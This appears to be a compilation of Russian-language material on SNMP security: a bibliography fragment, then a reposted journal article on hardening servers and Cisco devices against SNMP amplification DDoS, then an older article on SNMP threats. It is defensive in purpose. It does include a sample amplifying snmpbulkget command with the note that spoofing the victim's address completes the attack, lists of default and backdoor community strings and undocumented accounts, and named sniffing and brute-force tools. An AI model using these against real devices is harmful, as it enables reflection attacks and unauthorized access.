9. Технологии коммутации и маршрутизации в локальных компьютерных сетях: учебное пособие / СмирноваЕ. В. и др.; ред. А.В. Пролетарского. - М. : Изд-во МГТУ им. Н.Э. Баумана, 2013. - 389с.
10. Фленов М. Linux глазами Хакера, СПб:BHV-Санкт-Петербург, 2005. - 544 с.
11. Хореев П.В. Методы и средства защиты информации в компьютерных системах. - М.: издательский центр "Академия", 2005. -205 с.
12. Хорошко В. А., Чекатков А. А. Методы и средства защиты информации, К.: Юниор, 2003. - 504с.
Интернет-источники
13. IDS/IPS - Системы обнаружения и предотвращения вторжений [Электронный ресурс] URL: http://netconfig.ru/server/ids-ips/.
14. Анализ Интернет-угроз в 2014 году. DDoS-атаки. Взлом веб-сайтов.[Электронный ресурс]. URL: http://onsec.ru/resources/Internet%20threats%20in%202014.%20Overview%20by%20Qrator-Wallarm.pdf
15. Колищак А. Уязвимость форматной строки [Электронный ресурс]. URL: https://securityvulns.ru/articles/fsbug.asp
16. Первая миля, № 04, 2013 [Электронный ресурс]. URL: http://www.lastmile.su/journal/article/3823
17. Семейство стандартов SNMP [Электронный ресурс]. URL: https://ru.wikibooks.org/wiki /Семейство_стандартов_SNMP
Иностраннаялитература
18. "CERT Advisory CA-2002-03: Multiple Vulnerabilities in Many Implementations of the Simple Network Management Protocol (SNMP)", 12 Feb. 2002, (current 11 2002 March

По согласованию с редакцией журнала публикую свою статью "Защита от DDoS подручными средствами. Часть 3. SNMP Amplification" из номера 164-165 (июль-август 2016) выпуска журнала "Системный администратор" .

Чтобы сделать свой вклад в защиту всемирного киберпространства от DDoS, совсем не обязательно покупать дорогостоящее оборудование или сервис. Любой администратор сервера, доступного из Интернет, может поучаствовать в столь благородном деле без дополнительных материальных вложений, используя только знания и немного времени.


Рассмотрим DDoS-атаки типа "усиление"(amplification) с использованием сервиса SNMP .

SNMP amplification

Суть атаки заключается в том, чтобы инициировать многократно увеличенный ответ на SNMP- запрос. Изначально разработанные для автоматизации получения табличных данных при минимизации количества отправляемых пакетов BULK- запросы стали довольно эффективным инструментом проведения DDoS- атак в руках злоумышленников. Как гласит RFC3416, GetBulkRequest, р еализованный в SNMP версии 2, предназначен для возможности запросить большой объем данных, чем и пользуются атакующие, используя неправильно настроенные сервера в Интернет.

Если установить максимальное число возвращаемых строк в таблице 20000 и выполнить запрос в адрес неправильно настроенного сервера/устройства:

:~$ snmpbulkget -c public -v 2c -C r20000 192.168.10.129 1.3.6.1

ответ выдаст приблизительно следующее:

iso.3.6.1.2.1.1.1.0 = STRING: "SNMP4J-Agent - Windows 2003 - x86 - 5.2"

< пропущено 290 строк >

iso.3.6.1.6.3.18.1.1.1.8.123.123.12.123.123.12.12.123.123.12.123.123.12 = No more variables left in this MIB View (It is past the end of the MIB tree)

При этом запущенный tcpdump покажет размер возвращенного пакета:

21:41:18.185058 IP 192.168.10.128.39565 > 192.168.10.129.snmp: GetBulk(25) N=0 M=20000 .iso.org.dod.internet

21:41:18.603553 IP 192.168.10.129.snmp > 192.168.10.128.39565:

В ответ на запрос размером около 70 байт с учетом заголовков сервер возвращает ответ размером порядка 10 килобайт, то есть, почти в 150 раз больше. Коэффициент усиления не фиксирован и может принимать как большее (достигая 1700 раз), так и меньшее значение, в зависимости от типа ОС и параметров конфигурации устройства. Если при формировании подобного запроса использовать подмену IP- адреса отправителя на адрес жертвы и высокую интенсивность обращений к уязвимому серверу — DDoS- атака готова.

Причина

Суть проблемы заключается, как правило, не в уязвимости, не в настройке количества отдаваемых значений на один GetBulkRequest, а в том, что значение SNMP community установлено по умолчанию: public – read-only или, что еще хуже, private – read-write. Протокол SNMP версий 1 и 2 основан на UDP, используется для мониторинга и управления, а в качестве аутентификационного параметра доступа к управляемому оборудованию использует значение community, которое может быть задано только для чтения (read-only ) либо с возможностью записи (read-write ). Зачастую в системах при активации сервиса SNMP устанавливается значение по умолчанию — public для read-only и private для read-write. Даже если абстрагироваться от возможности использования некорректно настроенного сервера в качестве рефлектора для усиления атак SNMP, то очевидна угроза получения информации о сервере, установленном на нем ПО и его версиях, при использовании значения public по умолчанию для read-only. Практически безграничный привилегированный доступ с правами администратора к устройству дает read-write community private . Даже если не будет производиться вредоносных изменений, интенсивные запросы с использованием протокола SNMP могут вызвать значительную нагрузку на вычислительные ресурсы опрашиваемого сервера, чем повлиять на качество предоставляемых им сервисов.

Защита

Специфические для SNMP рекомендации по обеспечению безопасности сервера либо сетевого оборудования можно разделить на такие направления:

1. Архитектурное: разрешение обработки запросов только на интерфейсах, недоступных из недоверенных сетей.

2. Смена community на более трудноугадываемое.

3. Ограничение IP- адресов управляющих станций.

4. Ограничение ветки OID, доступной для получения/изменения по SNMP.

5 . Минимизация либо отказ от использования community на чтение и запись.

6 . Переход на SNMP версии 3 с использованием дополнительных параметров аутентификации и шифрования.

7. Отключение SNMP, если не используется.

Как выполнить эти действия на разных операционных системах?

В конфигурационном файле сервиса snmp настраиваются следующие параметры:

agentAddress udp:10.0.0.1:161 # IP- адрес, протокол и порт, принимающий запросы SNMP

Если Unix- сервер по сути является маршрутизатором и архитектурно имеет несколько интерфейсов, для безопасности необходимо оставить доступным по SNMP только интерфейс, достуный из доверенного сегмента, но не из Интернет. Имя community для доступа задается параметром rocommunity (read-only ) либо rwcommunity (read-write), также возможно задать подсеть, доступ из которой разрешен, и ветку OID, доступную для работы указанной подсети с заданными правами строки community. Например, для того, чтобы разрешить системам мониторинга из подсети 10.0.0.0/24 доступ к информации по интерфейсам (OID 1.3.6.1.2.1.2 ), используя строку доступа MaKe_It_SeCuRe с правами только для чтения, конфигурационный фрагмент будет выглядеть следующим образом:

rocommunity MaKe_It_SeCuRe 10.0.0.0/24 .1.3.6.1.2.1.2

В частных случаях использования разнообразных Unix- систем вышеуказанная строка может иметь несколько видоизмененный синтаксис за счет использования других параметров и иерархической структуры компонентов конфигурационного файла. Подробное описание можно найти, набрав команду

man snmpd.conf

Но если задача состоит в том, чтобы максимально быстро обеспечить безопасность сервиса snmpd, который до этого был настроен неправильно предшественником, можно создать резервную копию snmpd.conf, в новый конфигурационный файл внести ограничения по подсети систем мониторинга и изменить community. В Debian это будет выглядеть следующим образом:

# cd < директория с snmpd.conf>

# mv snmpd.conf snmpd.conf.backup

# echo rocommunity MaKe_It_SeCuRe 10.0.0.0/24 > snmpd.conf

# /etc/init.d/snmpd restart

После этого доступ по SNMP к серверу будет только у подсети 10.0.0.0/24 с использованием нового community, при этом все сервера, на которых не изменено community на новое, перестанут получать ответы на запросы, как и злоумышленники.

Более безопасным будет переход на использование SNMPv3, в котором существует возможность варьирования параметров аутентификации. Кроме того, в отличие от версий 1 и 2c, SNMPv3 позволяет обеспечить шифрование трафика между системой мониторинга и опрашиваемым оборудованием. Для создания пользователя с правами только на чтение, аутентификацией и шифрованием трафика, в конфигурационный файл snmpd.conf необходимо добавить:

createUser v3user SHA "some_AuThPaSs" AES some_privpass

authuser read v3user authpriv 1.3.6.1.2.1 . 2

Соответственно, пользователь v3user получит права read-only для просмотра ветки 1.3.6.1.2.1.2 по SNMP.

Проверить корректность конфигурации можно после рестарта сервиса SNMP на сервере 192.168.10.128 командой, выполненной на клиенте:

$ snmpwalk -v 3 -A some_AuThPaSs -X some_privpass -a SHA -x AES -u v3user -l authPriv 192.168.10.128 1

При этом, несмотря на то, что опрашиваться будет все дерево, начиная с 1, сервер отдаст только разрешенную ветку 1.3.6.1.2.1. 2 , которая будет задана в конфигурации.

При отказе от SNMP v1/v2c в пользу SNMPv3 необходимо также удалить из конфигурационного файла фрагменты настройки, не имеющие отношение к SNMPv3.

Если же SNMP для мониторинга сервера не используется, наиболее верным решением будет удаление пакета snmpd.

В Cisco IOS отсутствует возможность выбора интерфейса, который будет обрабатывать запросы SNMP. Ограничение выполняется с помощью списков доступа (access-control list, ACL ) . Предположим, разрешенной будет подсеть 10.0.0.0/24. Создается ACL:

(config)#access-list 10 permit 10.0.0.0 0.0.0.255

который затем применяется к соответствующему community для SNMP v1/v2c, в данном примере MaKe_It_SeCuRe с правом доступа только на чтение :

(config)#snmp-server community MaKe_It_SeCuRe RO 10

Ограничение к веткам SNMP OID применяется с помощью view

(config)# snmp-server view IFACES 1.3.6.1.2.1. 2 included

после чего к созданному view прикрепляется community:

(config)#snmp-server community MaKe_It_SeCuRe view IFACES RO 10

Для того, чтобы использовать SNMPv3 с необходимыми ограничениями (аутентификация и шифрование, только чтение, доступ из подсети 10.0.0.0/24 к ветке интерфейсов, обозначенной во view IFACES) , необходимо создать группу (SECURE) с доступом на чтение только к OID из view IFACES и необходимостью аутентификации с шифрованием, привязав ее к созданному ранее access-list 10 :

(config)# snmp-server group SECURE v3 priv read IFACES access 10

затем добавить в группу учетную запись пользователя (v3user) , задав ему пароли на аутентификацию и шифрование, а также алгоритм шифрования (в данном случае AES128 ):

(config)# snmp-server user v3user SECURE v3 auth sha Strong_Password priv aes 128 Priv_Password

SNMP может использоваться для управления, и настройка параметров доступа по умолчанию по степени опасности сравнима с легкоугадываемым паролем для входа по SSH. Выполнив описанные в статье рекомендации, мы не только напрямую защитимся от атак на нашу сеть и сервера, но сделаем невозможным использование своих ресурсов для атак на других, а также минимизируем количество оснований для кричащих заголовков в прессе «Русские хакеры атаковали...».

Итого, защитить свои сервера и сеть от несанкционированного доступа с использвоанием протокола SNMP, уменьшить количество DDoS-атак типа SNMP amplification и минимизировать участие в них своего инфраструктурного сегмента можно с помощью следующих действий, не требующих дополнительных финансовых вложений:

    Управление оборудованием только из доверенного сегмента сети . Ограничение посредством привязки сервиса к определенному интерфейсу либо с помощью списков доступа.

    Изменение значений SNMP community по умолчанию (public и private) на трудноугадываемые .

    Ограничение ветки OID, доступной для получения/изменения по SNMP.

    Использование только SNMPv 3 с применением дополнительных параметров аутентификации и шифрования.

    Отключение сервиса SNMP с удалением кофигурации — в случае принятия решения о полном отказе от SNMP.

И если так поступит каждый администратор серверов, доступных из сети Интернет, цифровой мир приблизится еще на один шаг к совершенству .

Введение

Данная статья является логическим продолжением материала " ", в котором были даны базисные принципы функционирования данного протокола. Целью этой работы
является освещение необходимых мер для обеспечения должного уровня защиты
SNMP. Хотелось бы попросить прощения у читателя за то, что некоторые
моменты из предыдущего материала будут повторяться - это необходимо для
более полного обзора данного вопроса. Информация общего характера здесь
будет представлена в минимальном объеме; для лучшего восприятия материала
советую прочитать первую статью.

Угрозы

Проблемы с протоколом SNMP начались с первой версии, когда механизма
защиты не было как такового. Любой желающий мог узнать пароли просто
прослушивая сеть. Но через некоторое время вышла вторая версия, в которой,
в соответствии с требованиями времени, были реализованы более серьезные
функции защиты. В частности, хэширование при помощи MD5, шифрование по
DES и др. (см. первую статью). На сегодняшний момент последней является третья версия SNMP, разработчики
которой основной задачей видят обеспечение безопасности. Однако, не все
так гладко с безопасностью даже и у третьей версии.
Существует 6 видов угроз для SNMP:

  1. Раскрытие информации: отслеживание обмена данными между агентами и
    управляющей станцией с целью сбора значений
  2. Маскарадинг
  3. Модификации: посылка сообщений для фиктивных операций
  4. Модификации в потоке сообщений
  5. Анализ сетевого трафика
  6. Атаки отказа в обслуживании.

Рассмотрим, как кажется, наиболее защищенную третью версию SNMP в свете
противодействиям этим типам атак.

Атака на SNMPv3

  • Маскарадинг - ошибка устранена, система
    проверяет происхождение пакетов
  • Модификация - протокол проверяет целостность при помощи MD5
  • Угроза раскрытия - криптование при помощи DES
  • Анализ трафика - протокол по прежнему
    УЯЗВИМ
  • Отказ в обслуживании - УЯЗВИМА

Итак, как оказалось, даже 3 версия уязвима для некоторых типов атак. В
частности, набор утилит ucd-snmp версий 5.0.1, 5.0.3, 5.0.4.pre2, который
включает в себя SNMP демон, утилиты для опроса и установления значений
MIB, а также другие полезные особенности уязвимы для атаки отказа в
обслуживании. Уязвимость была найдена Andrew Griffiths и анонсирована
компанией iDEFENSE 2 октября 2002.
Решением проблем такого плана может быть только регулярное обновление
программного обеспечения.

Одной из самых распространенных проблем даже по сей день являются пароли
(community strings) по умолчанию. В который раз хочется отметить, что
установки по умолчанию НЕОБХОДИМО менять. Решением послужит тщательное изучение страниц man по следующим файлам:
snmp.conf, snmp_config, snmpcmd, в которых содержится информация по
конфигурации SNMP и работе файлов. Даже при простом изменении значения по
умолчанию "public" на более сложный пароль, злоумышленник уже не сможет
получить информацию о Вашей системе при помощи тривиальной утилиты
snmpwalk. Множество сетевых устройств (switches, WAN/LAN роутеры, модемы, а также
некоторые операционные системы) по умолчанию сконфигурированы с
активированым SNMP и даже с rw доступом(!). Последствия такой небрежности
предсказать несложно. Вот небольшой список, для примера, устройств с
паролями по умолчанию:

3com Switch 3300 (3Com SuperStack II) - private
- Cray MatchBox router (MR-1110 MatchBox Router/FR 2.01) - private
- 3com RAS (HiPer Access Router Card) - public
- Prestige 128 / 128 Plus - public
- COLTSOHO 2.00.21 - private
- PRT BRI ISDN router - public
- CrossCom XL 2 - private
- WaiLAN Agate 700/800 - public
- HPJ3245A HP Switch 800T - public
- ES-2810 FORE ES-2810, Version 2.20 - public
- Windows NT Version 4.0 - public
- Windows 98 (не 95) - public
- Sun/SPARC Ultra 10 (Ultra-5_10) - private

Кстати, 16 октября в списке рассылки bugtraq была опубликована новая
информация о несанкционированном доступе к AVAYA Cajun. SNMP-community
NoGaH$@! позволяет полный доступ. Также были приведены недокументированные
учетные записи diag/danger и manuf/xxyyzz. Решением таких проблем послужит ограничение rw доступа, запрещение доступа
к устройствам с активированным SNMP извне. Необходимо запретить доступ на
SNMP-порты для всех посторонних компьютеров. Осуществить это довольно просто,
достаточно использовать набор правил ipchains/iptables. Дать совет по настройке
ipchains довольно сложно, т.к. необходимо знать топологию локальной сети, а
для домашних рабочих станций SNMP не нужен.

Для любого системного администратора, который имеет дело с данным
протоколом, необходимы программы, которые бы упрощали работу с SNMP. В
связи с этим можно упомянуть MRTG и SNMP::Monitor. На взгляд автора пакета
SNMP::Monitor, его программа имеет преимущества по сравнению с MRTG (какие
именно, Вы можете прочитать в readme). Скачать SNMP::Monitor можно с
архивов packetstormsecurity.org . Вот лишь некоторые из ее функций:

Запуск постоянного процесса, который будет следить за сетевыми
интерфейсами и вести логи в базу данных
- предоставление графического интерфейса через WWW
- показ статистики
- включает в себя систему контроля доступа к данным
и др.

Определенно необходимо логгирование отказов в предоставлении SNMP сервиса
неавторизованным хостам и последующий анализ журналов. Если Вы хотите
проверить уязвимость Вашей сети, то неплохой программой будет snmpsniff,
перехватчик трафика. Загрузить ее можно с www.packetstormsecurity.org/sniffers/snmpsniff-1.0.tar.gz .
Для проверки надежности паролей можно использовать snmpbrute.c, который
является довольно быстрым переборщиком паролей.

Итак, в данной работе я попытался насколько это возможно осветить вопросы
безопасной работы SNMP. Если что-то пропустил, то буду благодарен за
подсказку. Спасибо за комментарии, которые натолкнули написать
продолжение.



просмотров